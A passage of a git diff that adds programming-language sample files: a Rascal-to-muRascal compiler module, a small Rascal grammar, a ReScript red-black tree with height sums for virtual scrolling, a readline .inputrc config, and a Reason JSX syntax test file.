+}
diff --git a/samples/Rascal/RascalModule.rsc b/samples/Rascal/RascalModule.rsc
new file mode 100644
index 0000000000..b3245ae5ba
--- /dev/null
+++ b/samples/Rascal/RascalModule.rsc
@@ -0,0 +1,144 @@
+@bootstrapParser
+module lang::rascalcore::compile::Rascal2muRascal::RascalModule
+
+import IO;
+//import Map;
+import String;
+import Set;
+import List;
+//import Relation;
+import util::Reflective;
+
+import ParseTree;
+import lang::rascalcore::compile::CompileTimeError;
+
+import lang::rascal::\syntax::Rascal;
+import lang::rascalcore::compile::muRascal::AST;
+//import lang::rascalcore::compile::muRascal2RVM::Relocate;
+
+//extend lang::rascalcore::check::Checker;
+extend analysis::typepal::TypePal;
+
+import lang::rascalcore::compile::Rascal2muRascal::ModuleInfo;
+import lang::rascalcore::compile::Rascal2muRascal::TmpAndLabel;
+import lang::rascalcore::compile::Rascal2muRascal::RascalType;
+import lang::rascalcore::compile::Rascal2muRascal::TypeUtils;
+import lang::rascalcore::compile::Rascal2muRascal::ConcreteSyntax;
+
+import lang::rascalcore::compile::Rascal2muRascal::RascalDeclaration;
+import lang::rascalcore::compile::Rascal2muRascal::RascalExpression;
+
+/*
+ * Translate a Rascal module to muRascal.
+ * The essential function is:
+ * - r2mu		translate Rascal module to muRascal
+ */
+
+/********************************************************************/
+/*                  Translate one module                            */
+/********************************************************************/
+
+@doc{Compile a parsed Rascal source module to muRascal}
+tuple[TModel, MuModule] r2mu(lang::rascal::\syntax::Rascal::Module M, TModel tmodel, loc reloc=|noreloc:///|, bool verbose = true, bool optimize = true, bool enableAsserts=true){
+   try {
+      resetModuleInfo(optimize, enableAsserts);
+      module_scope = M@\loc;
+      setModuleScope(module_scope);
+      module_name = "<M.header.name>";
+      setModuleName(module_name);
+      mtags = translateTags(M.header.tags);
+      setModuleTags(mtags);
+      if(ignoreTest(mtags)){
+            return <tmodel, errorMuModule(getModuleName(), {info("Ignore tag suppressed compilation", M@\loc)}, M@\loc)>;
+      }
+     
+      if(verbose) println("r2mu: entering ... <module_name>, enableAsserts: <enableAsserts>");
+   	  
+   	  // Extract scoping information available from the tmodel returned by the type checker  
+   	  extractScopes(tmodel); 
+   	  
+   	  // Extract all declarations for the benefit of the type reifier
+      //extractDeclarationInfo(tmodel);
+   	 
+   	  if (<Module newModule, TModel newModel> := parseConcreteFragments(M, tmodel, getGrammar())) {
+   	    M = newModule;
+   	    tmodel = newModel;
+   	  }
+   	  
+   	  translateModule(M);
+   	  
+   	  generateAllFieldGetters(module_scope);
+   	 
+   	  modName = replaceAll("<M.header.name>","\\","");
+                      
+   	  return < getTModel()[messages=tmodel.messages],
+   	            /*relocMuModule(*/
+   	            muModule(modName,
+   	  				  getModuleTags(),
+   	                  toSet(tmodel.messages), 
+   	  				  getImportsInModule(),
+   	  				  getExtendsInModule(), 
+   	  				  getADTs(), 
+   	  				  getConstructors(),
+   	  				  getFunctionsInModule(), 
+   	  				  getVariablesInModule(), 
+   	  				  getVariableInitializationsInModule(),   
+   	  				  getCommonKeywordFieldsNameAndType(),
+   	  				  getGrammar(),
+   	  				  M@\loc) /*,   
+   	  				  reloc,
+   	  				  pcfg.srcs)*/
+   	  	      >;
+
+   }
+   catch ParseError(loc l): {
+        if (verbose) println("Parse error in concrete syntax <l>; returning error module");
+        msg = error("Parse error in concrete syntax fragment", l);
+        tmodel.messages += [msg];
+        return <tmodel, errorMuModule(getModuleName(), {msg}, M@\loc)>;
+   }
+   catch CompileTimeError(Message m): {
+        tmodel.messages += [m];
+        return <tmodel, errorMuModule(getModuleName(), {m}, M@\loc)>;
+   }
+   //catch value e: {
+   //     return errorMuModule(getModuleName(), {error("Unexpected compiler exception <e>", M@\loc)}, M@\loc);
+   //}
+   finally {
+   	   resetModuleInfo(optimize, enableAsserts);
+   	   resetScopeExtraction();
+   }
+}
+
+//TModel relocConfig(TModel tmodel, loc reloc, list[loc] srcs){
+//        return visit(tmodel) { case loc l => relocLoc(l, reloc, srcs) };
+//}
+
+void translateModule((Module) `<Header header> <Body body>`) {
+    for(imp <- header.imports) importModule(imp);
+	for( tl <- body.toplevels) translate(tl);
+}
+
+/********************************************************************/
+/*                  Translate imports in a module                   */
+/********************************************************************/
+
+private void importModule((Import) `import <QualifiedName qname> ;`){
+    addImportToModule("<qname>"); //TODO
+    // addImportToModule(prettyPrintName(convertName(qname)));
+}
+
+private void importModule((Import) `extend <QualifiedName qname> ;`){
+	moduleName = "<qname>";    //TODO
+	//moduleName = prettyPrintName(convertName(qname));
+	addImportToModule(moduleName);
+	addExtendToModule(moduleName);
+}
+
+private void importModule((Import) `<SyntaxDefinition syntaxdef>`){ /* nothing to do */
+
+}
+
+private default void importModule(Import imp){
+    throw "Unimplemented import: <imp>";
+}
diff --git a/samples/Rascal/Syntax.rsc b/samples/Rascal/Syntax.rsc
new file mode 100644
index 0000000000..13acb37cfa
--- /dev/null
+++ b/samples/Rascal/Syntax.rsc
@@ -0,0 +1,8 @@
+module Syntax
+
+extend lang::std::Layout;
+extend lang::std::Id;
+
+start syntax Machine = machine: State+ states;
+syntax State = @Foldable state: "state" Id name Trans* out;
+syntax Trans = trans: Id event ":" Id to;
diff --git a/samples/ReScript/RedBlackTree.res b/samples/ReScript/RedBlackTree.res
new file mode 100644
index 0000000000..f0fb018ae7
--- /dev/null
+++ b/samples/ReScript/RedBlackTree.res
@@ -0,0 +1,751 @@
+/*
+Credit to Wikipedia's article on [Red-black
+tree](http://en.wikipedia.org/wiki/Red–black_tree)
+
+**Note:** doesn't handle duplicate entries. This is by design.
+
+## Overview example:
+
+```
+var rbt = new RedBlackTree([7, 5, 1, 8])
+rbt.add(2) // => 2
+rbt.add(10) // => 10
+rbt.has(5) // => true
+rbt.remove(8) // => 8
+```
+
+## Properties:
+
+- size: The total number of items.
+*/
+
+type nodeColor =
+  | Red
+  | Black
+
+/*
+Property of a red-black tree, taken from Wikipedia:
+1. A node is either red or black.
+2. Root is black.
+3. Leaves are all null and considered black.
+4. Both children of a red node are black.
+5. Every path from a node to any of its descendent leaves contains the same
+number of black nodes.
+*/
+
+type rec node<'value> = {
+  mutable left: option<node<'value>>,
+  mutable right: option<node<'value>>,
+  mutable parent: option<node<'value>>,
+  mutable sum: float,
+  mutable color : nodeColor,
+  mutable height: float,
+  mutable value: 'value,
+}
+
+type t<'value> = {
+  mutable size: int,
+  mutable root: option<node<'value>>,
+  compare: (. 'value, 'value) => int,
+}
+
+let createNode = (~color, ~value, ~height) =>
+  {left:None, right:None, parent:None, sum:0., height, value, color}
+
+external castNotOption: option<'a> => 'a = "%identity"
+
+let updateSum = (node) => {
+  let leftSum = switch node.left {
+  | None => 0.
+  | Some(left) => left.sum
+  }
+  let rightSum = switch node.right {
+  | None => 0.
+  | Some(right) => right.sum
+  }
+  node.sum = leftSum +. rightSum +. node.height
+}
+
+/* Update the sum for the node and parents recursively. */
+let rec updateSumRecursive = (rbt, node) => {
+  updateSum(node)
+  switch node.parent {
+  | None => ()
+  | Some(parent) =>
+    rbt->updateSumRecursive(parent)
+  }
+}
+
+let grandParentOf = node => {
+  switch node.parent {
+  | None => None
+  | Some(ref_) => ref_.parent
+  }
+}
+
+let isLeft = node => {
+  switch node.parent {
+  | None => false
+  | Some(parent) => Some(node) === parent.left
+  }
+}
+
+let leftOrRightSet = (~node, x, value) => {
+  isLeft(node) ? x.left=value : x.right=value
+}
+
+let siblingOf = node => {
+  if isLeft(node) {
+    castNotOption(node.parent).right
+  } else {
+    castNotOption(node.parent).left
+  }
+}
+
+let uncleOf = node => {
+  switch grandParentOf(node) {
+  | None => None
+  | Some(grandParentOfNode) =>
+    if isLeft(castNotOption(node.parent)) {
+      grandParentOfNode.right
+    } else {
+      grandParentOfNode.left
+    }
+  }
+}
+
+let rec findNode = (rbt, node, value) => {
+  switch node {
+  | None => None
+  | Some(node) =>
+    let cmp = rbt.compare(. value, node.value)
+    if cmp === 0 {
+      Some(node)
+    } else if cmp < 0 {
+      findNode(rbt, node.left, value)
+    } else {
+      findNode(rbt, node.right, value)
+    }
+  }
+}
+
+let has = (rbt, value) => findNode(rbt, rbt.root, value) !== None
+
+let rec peekMinNode = node => switch node {
+  | None => None
+  | Some(node) =>
+    node.left === None ? Some(node) : node.left->peekMinNode
+}
+
+let rec peekMaxNode = node => switch node {
+  | None => None
+  | Some(node) =>
+    node.right === None ? Some(node) : node.right->peekMaxNode
+}
+
+let rotateLeft = (rbt, node) => {
+  let parent = node.parent
+  let right = node.right
+  switch parent {
+    | Some(parent) =>
+      parent->leftOrRightSet(~node, right)
+    | None =>
+      rbt.root = right
+  }
+  node.parent = right
+  let right = right->castNotOption // precondition
+  let rightLeft = right.left
+  node.right = rightLeft
+  switch rightLeft {
+    | Some(rightLeft) =>
+      rightLeft.parent = Some(node)
+    | None =>
+      ()
+  }
+  right.parent = parent
+  right.left = Some(node)
+  updateSum(node)
+  updateSum(right)
+}
+
+let rotateRight = (rbt, node) => {
+  let parent = node.parent
+  let left = node.left
+  switch parent {
+    | Some(parent) =>
+      parent->leftOrRightSet(~node, left)
+    | None =>
+      rbt.root = left
+  }
+  node.parent = left
+  let left = left->castNotOption // precondition
+  let leftRight = left.right
+  node.left = leftRight
+  switch leftRight {
+    | Some(leftRight) =>
+      leftRight.parent = Some(node)
+    | None =>
+      ()
+  }
+  left.parent = parent
+  left.right = Some(node)
+  updateSum(node)
+  updateSum(left)
+}
+
+let rec findInsert = (rbt, node, nodeToInsert, value) => {
+  switch node {
+    | None => None
+    | Some(node) => {
+      let cmp = rbt.compare(. value, node.value)
+      if cmp === 0 {
+        Some(node)
+      } else {
+        if cmp < 0 {
+          if node.left !== None {
+            rbt->findInsert(node.left, nodeToInsert, value)
+          } else {
+            nodeToInsert.parent = Some(node)
+            node.left = Some(nodeToInsert)
+            None
+          }
+        } else {
+          if node.right !== None {
+            rbt->findInsert(node.right, nodeToInsert, value)
+          } else {
+            nodeToInsert.parent = Some(node)
+            node.right = Some(nodeToInsert)
+            None
+          }
+        }
+      }
+    }
+  }
+}
+
+// After adding the node, we need to operate on it to preserve the tree's
+// properties by filtering it through a series of cases. It'd be easier if
+// there's tail recursion in JavaScript, as some cases fix the node but
+// restart the cases on the node's ancestor. We'll have to use loops for now.
+
+let rec _addLoop = (rbt, currentNode) => {
+  // Case 1: node is root. Violates 1. Paint it black.
+  if Some(currentNode) === rbt.root {
+    currentNode.color = Black
+  }
+
+  // Case 2: parent black. No properties violated. After that, parent is sure
+  // to be red.
+  else if (currentNode.parent->castNotOption).color === Black {
+    ()
+  }
+
+  // Case 3: if node's parent and uncle are red, they are painted black.
+  // Their parent (node's grandparent) should be painted red, and the
+  // grandparent red. Note that node certainly has a grandparent, since at
+  // this point, its parent's red, which can't be the root.
+
+  // After the painting, the grandparent might violate 2 or 4.
+  else if({
+      let uncle = uncleOf(currentNode)
+      uncle !== None && (uncle->castNotOption).color === Red
+    }) {
+    (currentNode.parent->castNotOption).color = Black
+    (uncleOf(currentNode)->castNotOption).color = Black
+    (grandParentOf(currentNode)->castNotOption).color = Red
+    _addLoop(rbt, grandParentOf(currentNode)->castNotOption)
+  }
+  else {
+    // At this point, uncle is either black or doesn't exist.
+
+    // Case 4: parent red, uncle black, node is right child, parent is left
+    // child. Do a left rotation. Then, former parent passes through case 5.
+    let currentNode =
+      if !isLeft(currentNode) && isLeft(currentNode.parent->castNotOption) {
+        rotateLeft(rbt, currentNode.parent->castNotOption)
+        currentNode.left->castNotOption
+      } else if isLeft(currentNode) && !isLeft(currentNode.parent->castNotOption) {
+        rotateRight(rbt, currentNode.parent->castNotOption)
+        currentNode.right->castNotOption
+      } else {
+        currentNode
+      }
+
+    // Case 5: parent red, uncle black, node is left child, parent is left
+    // child. Right rotation. Switch parent and grandparent's color.
+    (currentNode.parent->castNotOption).color = Black
+    (grandParentOf(currentNode)->castNotOption).color = Red
+    if isLeft(currentNode) {
+      rotateRight(rbt, grandParentOf(currentNode)->castNotOption)
+    } else {
+      rotateLeft(rbt, grandParentOf(currentNode)->castNotOption)
+    }
+  }
+}
+
+let add = (rbt, value, ~height) => {
+  // Again, make sure to not pass a value already in the tree.
+  //
+  // _Returns:_ value added.
+  rbt.size = rbt.size + 1
+  let nodeToInsert = createNode(~value, ~color=Red, ~height)
+  let inserted =
+    if rbt.root === None {
+      rbt.root = Some(nodeToInsert)
+      true
+    }
+    else {
+      let foundNode = findInsert(rbt, rbt.root, nodeToInsert, value)
+      foundNode === None
+    }
+  if inserted {
+    rbt->updateSumRecursive(nodeToInsert)
+
+    _addLoop(rbt, nodeToInsert)
+    Some(nodeToInsert)
+  } else {
+    None
+  }
+}
+
+
+// To simplify removal cases, we can notice this:
+// 1. Node has no child.
+// 2. Node has two children. Select the smallest child on the right branch
+// (leftmost) and copy its value into the node to delete. This replacement node
+// certainly has less than two children or it wouldn't be the smallest. Then
+// delete this replacement node.
+// 3. Node has one child.
+// They all come down to removing a node with maximum one child.
+let removeNode = (rbt, node) => {
+  let nodeToRemove =
+    switch (node.left, node.right) {
+    | (Some(_), Some(_)) =>
+      let successor = peekMinNode(node.right)->castNotOption
+      node.value = successor.value
+      node.height = successor.height
+      successor
+    | _ => node
+    }
+  // At this point, the node to remove has only one child.
+  let successor = switch nodeToRemove.left {
+  | None => nodeToRemove.right
+  | left => left
+  }
+  let (successor, isLeaf) = switch successor {
+    | None =>
+      let leaf = createNode(~value=%bs.raw("0"), ~color=Black, ~height=0.)
+      let isLeaf = (. x) => x === leaf;
+      (leaf, isLeaf)
+    | Some(successor) =>
+      (successor, (. _) => false)
+  }
+  let nodeParent = nodeToRemove.parent
+  successor.parent = nodeParent
+  switch nodeParent {
+  | None => ()
+  | Some(parent) =>
+    parent->leftOrRightSet(~node=nodeToRemove, Some(successor))
+  }
+
+  rbt->updateSumRecursive(successor)
+
+  // We're done if node's red. If it's black and its child that took its place
+  // is red, change it to black. If both are black, we do cases checking like
+  // in insert.
+  if nodeToRemove.color === Black {
+    if successor.color === Red {
+      successor.color = Black
+      if successor.parent === None {
+        rbt.root = Some(successor)
+      }
+    } else {
+      let break = ref(false)
+      let successorRef = ref(successor)
+      while !break.contents {
+        let successor = successorRef.contents
+        // Case 1: node is root. Done.
+        switch successor.parent {
+        | None =>
+          rbt.root = Some(successor)
+          break.contents = true
+        | Some(successorParent) =>
+          // Case 2: sibling red. Flip color of P and S. Left rotate P.
+          let sibling = siblingOf(successor)
+          if sibling !== None && (sibling->castNotOption).color === Red {
+            successorParent.color = Red
+            (sibling->castNotOption).color = Black
+            if isLeft(successor) {
+              rotateLeft(rbt, successorParent)
+            } else {
+              rotateRight(rbt, successorParent)
+            }
+          }
+
+          // Case 3: parent, sibling and sibling children all black. Paint
+          // sibling red. Rebalance parent.
+          let sibling = siblingOf(successor)
+          let siblingNN = sibling->castNotOption
+          if
+            successorParent.color === Black &&
+            ( sibling === None ||
+              ( siblingNN.color === Black &&
+                ( siblingNN.left === None ||
+                  (siblingNN.left->castNotOption).color === Black ) &&
+                ( siblingNN.right === None ||
+                  (siblingNN.right->castNotOption).color === Black)))
+             {
+            if sibling !== None {
+              siblingNN.color = Red
+            }
+            successorRef.contents = successorParent
+            // continue
+          } else if
+            // Case 4: sibling and sibling children black. Node parent red. Swap
+            // color of sibling and node parent.
+            successorParent.color === Red &&
+            ( sibling === None ||
+              ( siblingNN.color === Black &&
+              ( siblingNN.left === None ||
+                (siblingNN.left->castNotOption).color === Black) &&
+              ( siblingNN.right === None ||
+                (siblingNN.right->castNotOption).color === Black)))
+             {
+            if sibling !== None {
+              siblingNN.color = Red
+            }
+            successorParent.color = Black
+            break.contents = true
+          } else if
+            // Case 5: sibling black, sibling left child red, right child black,
+            // node is left child. Rotate right sibling. Swap color of sibling and
+            // its new parent.
+            sibling !== None && (sibling->castNotOption).color === Black
+             {
+            let sibling = sibling->castNotOption
+            if
+              isLeft(successor) &&
+              (sibling.right === None || (sibling.right->castNotOption).color === Black) &&
+              sibling.left !== None &&
+              (sibling.left->castNotOption).color === Red {
+              sibling.color = Red
+              (sibling.left->castNotOption).color = Black
+              rotateRight(rbt, sibling)
+            } else if
+              !isLeft(successor) &&
+              (sibling.left === None || (sibling.left->castNotOption).color === Black) &&
+              sibling.right !== None &&
+              (sibling.right->castNotOption).color === Red
+               {
+              sibling.color = Red
+              (sibling.right->castNotOption).color = Black
+              rotateLeft(rbt, sibling)
+            }
+            break.contents = true
+          } else {
+            // Case 6: sibling black, sibling right child red, node is left child.
+            // Rotate left node parent. Swap color of parent and sibling. Paint
+            // sibling right child black.
+            let sibling = siblingOf(successor)
+            let sibling = sibling->castNotOption
+            sibling.color = successorParent.color
+            if isLeft(successor) {
+              (sibling.right->castNotOption).color = Black
+              rotateRight(rbt, successorParent)
+            } else {
+              (sibling.left->castNotOption).color = Black
+              rotateLeft(rbt, successorParent)
+            }
+          }
+        }
+      }
+    }
+  }
+  // Don't forget to detatch the artificially created leaf.
+  if isLeaf(. successor) {
+    if rbt.root === Some(successor) {
+      rbt.root = None
+    }
+    switch successor.parent {
+    | None => ()
+    | Some(parent) =>
+      parent->leftOrRightSet(~node=successor, None)
+    }
+  }
+}
+
+let remove = (rbt, value) => {
+  switch findNode(rbt, rbt.root, value) {
+    | Some(node) =>
+      rbt->removeNode(node)
+      rbt.size = rbt.size - 1
+      true
+    | None =>
+      false
+  }
+}
+
+let rec findNodeThroughCallback = (rbt, node, cb) => {
+  switch node {
+  | None => None
+  | Some(node) =>
+    let cmp = cb(. node)
+    if cmp === 0 {
+      Some(node)
+    } else if cmp < 0 {
+      findNodeThroughCallback(rbt, node.left, cb)
+    } else {
+      findNodeThroughCallback(rbt, node.right, cb)
+    }
+  }
+}
+
+let removeThroughCallback = (rbt, cb) => {
+  switch findNodeThroughCallback(rbt, rbt.root, cb) {
+    | Some(node) =>
+      rbt->removeNode(node)
+      rbt.size = rbt.size - 1
+      true
+    | None =>
+      false
+  }
+}
+
+let make = (~compare) => {size: 0, root: None, compare}
+
+let makeWith = (array, ~compare) => {
+  let rbt = make(~compare)
+  array->Js.Array2.forEach(((value, height)) => add(rbt,value, ~height)->ignore)
+  rbt
+}
+
+// sum of the heights of the elements in [lhs ... rhs]
+// both lhs and rhs are optional
+let rec heightOfInterval = (rbt, node, lhs, rhs) => {
+  switch node {
+  | None => 0.
+  | Some(n) =>
+    //Js.log4("heightOfInterval n:", n.value, lhs, rhs)
+    if lhs === None && rhs === None {
+      n.sum
+    } else if lhs !== None && rbt.compare(. n.value, lhs->castNotOption) < 0 {
+      // to the lhs of the interval
+      rbt->heightOfInterval(n.right, lhs, rhs)
+    } else if rhs !== None && rbt.compare(. n.value, rhs->castNotOption) > 0 {
+      // to the rhs of the interval
+      rbt->heightOfInterval(n.left, lhs, rhs)
+    } else {
+      // in the interval
+      n.height +.
+      rbt->heightOfInterval(n.left, lhs, None) +.
+      rbt->heightOfInterval(n.right, None, rhs)
+    }
+  }
+}
+
+let heightOfInterval = (rbt, lhs, rhs) => {
+  //Js.log("-----------")
+  heightOfInterval(rbt, rbt.root, lhs, rhs)
+}
+
+// Return a node at y such that y <= top < y + node.height
+let rec firstVisibleNode = (node, top) => {
+  switch node {
+  | None => None
+  | Some(node) =>
+    //Js.log4("firstVisibleNode", node.value, "top:", top)
+    if node.sum <= top {
+    // no node is visible
+    None
+    } else {
+      let nodeHeight = node.height
+      let sumLeft = switch node.left {
+        | None => 0.0
+        | Some(left) => left.sum
+      }
+      if sumLeft > top {
+        firstVisibleNode(node.left, top)
+      } else if sumLeft +. nodeHeight > top {
+        // found
+        Some(node)
+      } else {
+        let offset = sumLeft +. nodeHeight
+        firstVisibleNode(node.right, top -. offset)
+      }
+    }
+  }
+}
+
+let lastVisibleNode = (node, top) => {
+  switch firstVisibleNode(node, top) {
+  | None =>
+    node->peekMaxNode
+  | first => first
+  }
+}
+
+// Find the value of the first visible node starting from top
+let firstVisibleValue = (rbt, ~top) =>
+  switch firstVisibleNode(rbt.root, top) {
+  | None => None
+  | Some(node) => Some(node.value)
+}
+
+let rec leftmost = node => switch node.left {
+  | None => node
+  | Some(node) => node->leftmost
+}
+
+let rec firstRightParent = node => {
+  switch node.parent {
+    | None => None
+    | Some(parent) =>
+      isLeft(node) ? Some(parent) : parent->firstRightParent
+  }
+}
+
+let nextNode = node => {
+  switch node.right {
+  | None =>
+    node->firstRightParent
+  | Some(right) =>
+    Some(right->leftmost)
+  }
+}
+
+let rec sumLeftSpine = (node, ~fromRightChild) => {
+  let leftSpine = switch node.left {
+    | None => node.height
+    | Some(left) => fromRightChild ? node.height +. left.sum : 0.0
+  }
+  switch node.parent {
+  | None =>
+    leftSpine
+  | Some(parent) =>
+    leftSpine +. parent->sumLeftSpine(~fromRightChild = parent.right === Some(node))
+  }
+}
+
+let getY = node =>
+  node->sumLeftSpine(~fromRightChild=true) -. node.height
+
+let rec iterate = (~inclusive, firstNode, lastNode, ~callback) => {
+  switch firstNode {
+    | None => ()
+    | Some(node) =>
+      if inclusive { callback(. node) }
+      if firstNode !== lastNode {
+        if !inclusive { callback (.node) }
+        iterate(~inclusive, node->nextNode, lastNode, ~callback)
+      }
+  }
+}
+
+let rec iterateWithY = (~y=?, ~inclusive, firstNode, lastNode, ~callback) => {
+  switch firstNode {
+    | None => ()
+    | Some(node) =>
+      let y = switch y {
+        | None => node->getY
+        | Some(y) => y
+      }
+      if inclusive {
+        callback(. node, y)
+      }
+      if firstNode !== lastNode {
+        if !inclusive {
+          callback (.node, y)
+        }
+        iterateWithY(~y=y+.node.height, ~inclusive, node->nextNode, lastNode, ~callback)
+      }
+  }
+}
+
+let rec updateSum = (node, ~delta) => switch node {
+  | None => ()
+  | Some(node) =>
+    node.sum = node.sum +. delta
+    node.parent->updateSum(~delta)
+}
+
+let updateHeight = (node, ~height) => {
+  let delta = height -. node.height
+  node.height = height
+  Some(node)->updateSum(~delta)
+}
+
+type oldNewVisible<'value> = {
+  mutable old: array<'value>,
+  mutable new: array<'value>,
+};
+
+let getAnchorDelta = (rbt, ~anchor) => {
+  switch anchor {
+    | None => 0.0
+    | Some((value, y)) =>
+      switch rbt->findNode(rbt.root, value) {
+        | Some(node) => y -. node->getY
+        | None => 0.0
+      }
+  }
+}
+
+let onChangedVisible =
+    (
+      ~anchor=None,
+      rbt,
+      ~oldNewVisible,
+      ~top as top_,
+      ~bottom as bottom_,
+      ~appear,
+      ~remained,
+      ~disappear,
+    ) =>
+ {
+  let old = oldNewVisible.new
+  let new = oldNewVisible.old
+  // empty new
+  new->Js.Array2.removeCountInPlace(~pos=0, ~count=new->Js.Array2.length)->ignore
+  oldNewVisible.old = old
+  oldNewVisible.new = new
+
+  let anchorDelta = rbt->getAnchorDelta(~anchor)
+  //Js.log2("anchorDelta", anchorDelta)
+  let top = top_ -. anchorDelta
+  let top = top < 0.0 ? 0.0 : top // anchoring can make top negative
+  let bottom = bottom_ -. anchorDelta
+
+  let first = firstVisibleNode(rbt.root, top)
+  let last = lastVisibleNode(rbt.root, bottom)
+
+  let oldLen = old->Js.Array2.length
+  let oldIter = ref(0)
+  iterateWithY(~inclusive=true, first, last, ~callback=(. node, y_) => {
+    let y = y_ +. anchorDelta
+    if y >= 0.0 { // anchoring can make y negative
+      while (
+        oldIter.contents < oldLen &&
+        rbt.compare(. Js.Array2.unsafe_get(old, oldIter.contents), node.value) < 0
+      ) {
+        disappear(. Js.Array2.unsafe_get(old, oldIter.contents))
+        oldIter.contents = oldIter.contents + 1
+      }
+      new->Js.Array2.push(node.value)->ignore
+      if (oldIter.contents < oldLen) {
+        let cmp = rbt.compare(. Js.Array2.unsafe_get(old, oldIter.contents), node.value)
+        if cmp == 0 {
+          remained(. node, y)
+          oldIter.contents = oldIter.contents + 1
+        } else {
+          appear(. node, y)
+        }
+      } else {
+        appear(. node, y)
+      }
+    }
+  })
+  while (oldIter.contents < oldLen) {
+    disappear(. Js.Array2.unsafe_get(old, oldIter.contents))
+    oldIter.contents = oldIter.contents + 1
+  }
+};
\ No newline at end of file
diff --git a/samples/Readline Config/filenames/.inputrc b/samples/Readline Config/filenames/.inputrc
new file mode 100644
index 0000000000..37f4acefa9
--- /dev/null
+++ b/samples/Readline Config/filenames/.inputrc	
@@ -0,0 +1,5 @@
+$include /etc/inputrc
+set mark-symlinked-directories on
+set revert-all-at-newline on
+set show-all-if-ambiguous on
+set skip-completed-text on
diff --git a/samples/Reason/JSX.re b/samples/Reason/JSX.re
new file mode 100644
index 0000000000..ad2871d77c
--- /dev/null
+++ b/samples/Reason/JSX.re
@@ -0,0 +1,483 @@
+type component = {displayName: string};
+
+let module Bar = {
+  let createElement c::c=? children => {
+    displayName: "test"
+  };
+};
+
+let module Nesting = {
+  let createElement children => {
+    displayName: "test"
+  };
+};
+
+let module Much = {
+  let createElement children => {
+    displayName: "test"
+  };
+};
+
+let module Foo = {
+  let createElement a::a=? b::b=? children => {
+    displayName: "test"
+  };
+};
+
+let module One = {
+  let createElement
+      test::test=?
+      foo::foo=?
+      children => {
+    displayName: "test"
+  };
+  let createElementobvioustypo
+      test::test
+      children => {
+    displayName: "test"
+  };
+};
+
+let module Two = {
+  let createElement foo::foo=? children => {
+    displayName: "test"
+  };
+};
+
+let module Sibling = {
+  let createElement
+      foo::foo=?
+      (children: list component) => {
+    displayName: "test"
+  };
+};
+
+let module Test = {
+  let createElement yo::yo=? children => {
+    displayName: "test"
+  };
+};
+
+let module So = {
+  let createElement children => {
+    displayName: "test"
+  };
+};
+
+let module Foo2 = {
+  let createElement children => {
+    displayName: "test"
+  };
+};
+
+let module Text = {
+  let createElement children => {
+    displayName: "test"
+  };
+};
+
+let module Exp = {
+  let createElement children => {
+    displayName: "test"
+  };
+};
+
+let module Pun = {
+  let createElement intended::intended=? children => {
+    displayName: "test"
+  };
+};
+
+let module Namespace = {
+  let module Foo = {
+    let createElement
+        intended::intended=?
+        anotherOptional::x=100
+        children => {
+      displayName: "test"
+    };
+  };
+};
+
+let module LotsOfArguments = {
+  let createElement
+      argument1::argument1=?
+      argument2::argument2=?
+      argument3::argument3=?
+      argument4::argument4=?
+      argument5::argument5=?
+      argument6::argument6=?
+      children => {
+    displayName: "test"
+  };
+};
+
+let div argument1::argument1=? children => {
+  displayName: "test"
+};
+
+let module List1 = {
+  let createElement children => {
+    displayName: "test"
+  };
+};
+
+let module List2 = {
+  let createElement children => {
+    displayName: "test"
+  };
+};
+
+let module List3 = {
+  let createElement children => {
+    displayName: "test"
+  };
+};
+
+let (/><) a b => a + b;
+
+let (><) a b => a + b;
+
+let (/>) a b => a + b;
+
+let (><\/) a b => a + b;
+
+let tag1 = 5 />< 6;
+
+let tag2 = 5 >< 7;
+
+let tag3 = 5 /> 7;
+
+let tag4 = 5 ><\/ 7;
+
+let b = 2;
+
+let selfClosing = <Foo />;
+
+let selfClosing2 = <Foo a=1 b=true />;
+
+let selfClosing3 =
+  <Foo
+    a="really long values that should"
+    b="cause the entire thing to wrap"
+  />;
+
+let a = <Foo> <Bar c=(fun a => a + 2) /> </Foo>;
+
+let a3 = <So> <Much> <Nesting /> </Much> </So>;
+
+let a4 =
+  <Sibling>
+    <One test=true foo=b />
+    <Two foo=b />
+  </Sibling>;
+
+let a5 = <Foo> "testing a string here" </Foo>;
+
+let a6 =
+  <Foo2>
+    <Text> "testing a string here" </Text>
+    <Test yo=1 />
+    <Text> "another string" </Text>
+    <Bar />
+    <Exp> (2 + 4) </Exp>
+  </Foo2>;
+
+let intended = true;
+
+let punning = <Pun intended />;
+
+let namespace = <Namespace.Foo />;
+
+let c = <Foo />;
+
+let d = <Foo />;
+
+let spaceBefore =
+  <So> <Much> <Nesting /> </Much> </So>;
+
+let spaceBefore2 = <So> <Much /> </So>;
+
+let siblingNotSpaced =
+  <So> <Much /> <Much /> </So>;
+
+let jsxInList = [<Foo />];
+
+let jsxInList2 = [<Foo />];
+
+let jsxInListA = [<Foo />];
+
+let jsxInListB = [<Foo />];
+
+let jsxInListC = [<Foo />];
+
+let jsxInListD = [<Foo />];
+
+let jsxInList3 = [<Foo />, <Foo />, <Foo />];
+
+let jsxInList4 = [<Foo />, <Foo />, <Foo />];
+
+let jsxInList5 = [<Foo />, <Foo />];
+
+let jsxInList6 = [<Foo />, <Foo />];
+
+let jsxInList7 = [<Foo />, <Foo />];
+
+let jsxInList8 = [<Foo />, <Foo />];
+
+let testFunc b => b;
+
+let jsxInFnCall = testFunc <Foo />;
+
+let lotsOfArguments =
+  <LotsOfArguments
+    argument1=1
+    argument2=2
+    argument3=3
+    argument4=4
+    argument5=5
+    argument6="test">
+    <Namespace.Foo />
+  </LotsOfArguments>;
+
+let lowerCase = <div argument1=1 />;
+
+let b = 0;
+
+let d = 0;
+
+/*
+ * Should pun the first example:
+ */
+let a = <Foo a> 5 </Foo>;
+
+let a = <Foo a=b> 5 </Foo>;
+
+let a = <Foo a=b b=d> 5 </Foo>;
+
+let a = <Foo a> 0.55 </Foo>;
+
+let a = Foo.createElement "" [@JSX];
+
+let ident = <Foo> a </Foo>;
+
+let fragment1 = <> <Foo /> <Foo /> </>;
+
+let fragment2 = <> <Foo /> <Foo /> </>;
+
+let fragment3 = <> <Foo /> <Foo /> </>;
+
+let fragment4 = <> <Foo /> <Foo /> </>;
+
+let fragment5 = <> <Foo /> <Foo /> </>;
+
+let fragment6 = <> <Foo /> <Foo /> </>;
+
+let fragment7 = <> <Foo /> <Foo /> </>;
+
+let fragment8 = <> <Foo /> <Foo /> </>;
+
+let fragment9 = <> 2 2 2 2 </>;
+
+let fragment10 = <> 2.2 3.2 4.6 1.2 </>;
+
+let fragment11 = <> "str" </>;
+
+let fragment12 = <> (6 + 2) (6 + 2) (6 + 2) </>;
+
+let fragment13 = <> fragment11 fragment11 </>;
+
